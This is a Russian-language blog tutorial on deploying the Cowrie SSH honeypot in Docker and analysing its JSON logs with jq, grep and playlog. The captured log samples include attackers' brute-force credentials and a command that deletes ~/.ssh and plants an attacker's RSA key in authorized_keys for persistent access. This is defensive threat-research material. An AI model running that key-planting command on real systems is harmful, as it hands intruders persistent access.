Взломайте взломщика – как настроить SSH honeypot

Узнайте, как настроить SSH honeypot для обнаружения и анализа кибератак в реальном времени. Научитесь создавать фейковый SSH-сервер, который записывает данные атакующих и IP-адреса, повышая вашу разведку угроз и защиту систем.

Hack the Hacker - How to Setup an SSH Honeypot

Что такое Honeypot :

Honeypot обнаруживает и записывает атаки, когда злоумышленник пытается взломать систему.

Honeypot, о котором мы здесь поговорим, – это SSH honeypot.

Предварительный этап

Эта статья следует за той, что я опубликовал о работе SSH Honeypot в дикой среде в течение 30 дней, статья вызвала хороший резонанс, и я получил много сообщений с просьбой показать, как я настраивал и конфигурировал этот SSH Honeypot.

Предыдущая статья :

Hack the Hacker - How to Setup an SSH Honeypot

Sofiane’s Blog - Что вы получаете после 30 дней работы SSH Honeypot

r/CyberSecurity Reddit

YCombinator Hacker News

Требования

Мы настроим это на обычном VPS без какой-либо специальной предварительной настройки.

[!ВАЖНО]
Эта настройка предназначена для исследований и тестирования, поэтому, пожалуйста, не настраивайте это в вашей локальной сети или в сети для личного/профессионального использования.

VPS

Выбор и поиск поставщика VPS зависит от вас и должен подходить именно вам.

Honeypot Cowrie

Есть несколько известных SSH honeypot’ов, но мы используем тот, который называется Cowrie.

Это улучшенная версия популярного honeypot под названием Kippo.

Hack the Hacker - How to Setup an SSH Honeypot

Docker

Для установки мы будем использовать Docker-образ Cowrie.

Для этого на новом VPS должен быть установлен docker, вы можете ознакомиться с официальной документацией Docker для установки.

Hack the Hacker - How to Setup an SSH Honeypot

Пакеты для установки

  • python3
  • wget

Конфигурация

Я обычно меняю стандартный порт SSH на своих серверах или машинах.

Один из методов, который я предпочитаю — установить реальный SSH порт, например, 2022. Затем я настраиваю honeypot слушать на стандартном SSH порте, 22.

Установка

По умолчанию Cowrie настроен слушать порт 2222. Мы сопоставим этот порт в Docker-контейнере с портом 22 на нашем хосте. Такая настройка позволяет направлять всех сканирующих ботов и злоумышленников на наш honeypot беспрепятственно.

Hack the Hacker - How to Setup an SSH Honeypot

Создание, настройка и использование пользователя cowrie :

> sudo adduser --disabled-password cowrie #Добавляем пользователя
Adding user 'cowrie' ...
Adding new group 'cowrie' (1002) ...
Adding new user 'cowrie' (1002) with group 'cowrie' ...
Changing the user information for cowrie
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]

> sudo usermod -aG docker cowrie #Добавляем cowrie в группу docker

> sudo su - cowrie #Переходим под пользователя cowrie

Перед продолжением мы создадим папки в директориях VPS для хранения всех логов, чтобы они были доступны напрямую, а не внутри контейнера.

Также мы настроим папки “cowrielog” и “cowrietty” с правами чтения-записи для всех.

> mkdir cowrielog && mkdir cowrietty
> chmod -R a+rw cowrielog/ cowrietty/

И запускаем наш Cowrie Honeypot :

> docker run --name cowrie -p 22:2222 -v /home/cowrie/cowrielog:/cowrie/cowrie-git/var/log/cowrie/ -v /home/cowrie/cowrietty:/cowrie/cowrie-git/var/lib/cowrie/tty cowrie/cowrie:latest
2024-06-17T14:47:28+0000 [-] Python Version 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0]
2024-06-17T14:47:28+0000 [-] Twisted Version 24.3.0
2024-06-17T14:47:28+0000 [-] Cowrie Version 2.5.0
2024-06-17T14:47:28+0000 [-] Loaded output engine: jsonlog
2024-06-17T14:47:28+0000 [twisted.scripts._twistd_unix.UnixAppLogger#info] twistd 24.3.0 (/cowrie/cowrie-env/bin/python3 3.11.2) starting up.
2024-06-17T14:47:28+0000 [twisted.scripts._twistd_unix.UnixAppLogger#info] reactor class: twisted.internet.epollreactor.EPollReactor.
2024-06-17T14:47:28+0000 [-] CowrieSSHFactory starting on 2222
2024-06-17T14:47:28+0000 [cowrie.ssh.factory.CowrieSSHFactory#info] Starting factory <cowrie.ssh.factory.CowrieSSHFactory object at 0x7c4c73951b10>
2024-06-17T14:47:28+0000 [-] Generating new RSA keypair...
2024-06-17T14:47:28+0000 [-] Generating new ECDSA keypair...
2024-06-17T14:47:28+0000 [-] Generating new ed25519 keypair...
2024-06-17T14:47:28+0000 [-] Ready to accept SSH connections

Анализ логов

Файлы логов вы найдете в ~/cowrielog, а логи воспроизведения tty сессий в ~/cowrietty

Использование команд Linux

Для фильтрации и организации вывода можно использовать команду jq. Этот инструмент позволяет точно извлекать нужную информацию из JSON-данных.

Использование JSON для лог-файлов дает значительные преимущества в плане структуры, читаемости, обработки, устойчивости и наблюдаемости. Эти преимущества делают JSON идеальным форматом для логирования в современном программировании и операционных практиках.

Чтобы получить все попытки входа :

> jq '.| select(.eventid | startswith("cowrie.login"))' cowrie.json

Пример вывода :

{
  "eventid": "cowrie.login.failed",
  "username": "tserver",
  "password": "tserver",
  "message": "login attempt [tserver/tserver] failed",
  "sensor": "8caf2d7e4943",
  "timestamp": "2024-06-17T14:56:07.547278Z",
  "src_ip": "59.24.160.227",
  "session": "6530ab02251d"
}
{
  "eventid": "cowrie.login.failed",
  "username": "student02",
  "password": "student02",
  "message": "login attempt [student02/student02] failed",
  "sensor": "8caf2d7e4943",
  "timestamp": "2024-06-17T14:56:12.223248Z",
  "src_ip": "59.24.160.227",
  "session": "56b69171281c"
}
{
  "eventid": "cowrie.login.failed",
  "username": "vyos",
  "password": "vyos",
  "message": "login attempt [vyos/vyos] failed",
  "sensor": "8caf2d7e4943",
  "timestamp": "2024-06-17T14:56:16.560385Z",
  "src_ip": "59.24.160.227",
  "session": "c0fcc16bedfc"
}

Чтобы получить все успешные попытки логина :

> jq '. | select(.eventid == "cowrie.login.success")' cowrie.json

Пример вывода :

{
  "eventid": "cowrie.login.success",
  "username": "root",
  "password": "Passw0rd",
  "message": "login attempt [root/Passw0rd] succeeded",
  "sensor": "8caf2d7e4943",
  "timestamp": "2024-06-17T14:53:39.274245Z",
  "src_ip": "141.98.10.106",
  "session": "d5c5f7b97455"
}

Чтобы получить все неудачные попытки логина :

> jq '. | select(.eventid == "cowrie.login.failed")' cowrie.json

Пример вывода :

{
  "eventid": "cowrie.login.failed",
  "username": "vsftp",
  "password": "vsftp",
  "message": "login attempt [vsftp/vsftp] failed",
  "sensor": "8caf2d7e4943",
  "timestamp": "2024-06-17T14:55:55.663982Z",
  "src_ip": "59.24.160.227",
  "session": "164c6534c698"
}
{
  "eventid": "cowrie.login.failed",
  "username": "yangjie",
  "password": "yangjie",
  "message": "login attempt [yangjie/yangjie] failed",
  "sensor": "8caf2d7e4943",
  "timestamp": "2024-06-17T14:55:59.626399Z",
  "src_ip": "59.24.160.227",
  "session": "809749c9eba7"
}
{
  "eventid": "cowrie.login.failed",
  "username": "pedro",
  "password": "pedro",
  "message": "login attempt [pedro/pedro] failed",
  "sensor": "8caf2d7e4943",
  "timestamp": "2024-06-17T14:56:03.966702Z",
  "src_ip": "59.24.160.227",
  "session": "b9bee41ed3d2"
}

Чтобы получить количество попыток входа :

> cat cowrie.json| grep "cowrie.login" | wc -l

12419

Чтобы получить количество успешных попыток входа :

> cat cowrie.json| grep "cowrie.login.success" | wc -l

379

Чтобы получить количество неудачных попыток входа :

> cat cowrie.json| grep "cowrie.login.failed" | wc -l

12040

Чтобы получить IP-адреса источников :

> jq '.src_ip' cowrie.json

"141.98.10.106"
"141.98.10.106"
"141.98.10.106"
"141.98.10.106"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"

Проверка выполненных команд

Фильтрация в лог-файле

> jq '. | select(.eventid == "cowrie.command.input")' cowrie.json

Пример вывода :

{
  "eventid": "cowrie.command.input",
  "input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "sensor": "2c091cd328dc",
  "timestamp": "2024-06-18T00:38:20.746663Z",
  "src_ip": "121.156.118.253",
  "session": "22e1e1e98a94"
}
{
  "eventid": "cowrie.command.input",
  "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
  "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
  "sensor": "2c091cd328dc",
  "timestamp": "2024-06-18T00:38:21.702641Z",
  "src_ip": "121.156.118.253",
  "session": "22e1e1e98a94"
}
{
  "eventid": "cowrie.command.input",
  "input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "sensor": "2c091cd328dc",
  "timestamp": "2024-06-18T00:40:21.541909Z",
  "src_ip": "95.85.47.10",
  "session": "020967259efb"
}
{
  "eventid": "cowrie.command.input",
  "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
  "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
  "sensor": "2c091cd328dc",
  "timestamp": "2024-06-18T00:40:21.676392Z",
  "src_ip": "95.85.47.10",
  "session": "020967259efb"
}
{
  "eventid": "cowrie.command.input",
  "input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "sensor": "2c091cd328dc",
  "timestamp": "2024-06-18T00:41:28.715153Z",
  "src_ip": "101.32.128.77",
  "session": "31d76f7f481c"
}
{
  "eventid": "cowrie.command.input",
  "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
  "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
  "sensor": "2c091cd328dc",
  "timestamp": "2024-06-18T00:41:29.412566Z",
  "src_ip": "101.32.128.77",
  "session": "31d76f7f481c"
}

Использование playlog Cowrie для воспроизведения сессий

С помощью playlog вы получите воспроизведение tty сессии и увидите, какие команды были выполнены.

> cd ~/cowrietty && wget https://raw.githubusercontent.com/cowrie/cowrie/master/src/cowrie/scripts/playlog.py

> python3 playlog.py <SESSION ID>

Hack the Hacker - How to Setup an SSH Honeypot

Пример ввода и вывода :

> python3 playlog.py cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Хотите углубиться?

Вы можете настроить Cowrie с инструментами мониторинга логов, конфигурацию и установку которых можно найти в официальной документации Cowrie

Получить ИИ-анализ этой статьи

Обсуждение

Оставить комментарий

Комментарии гостей будут проверены перед публикацией на сайте.

Пока нет комментариев. Будьте первым, кто начнет обсуждение!

Есть предложения или нашли ошибку? Свяжитесь с нами!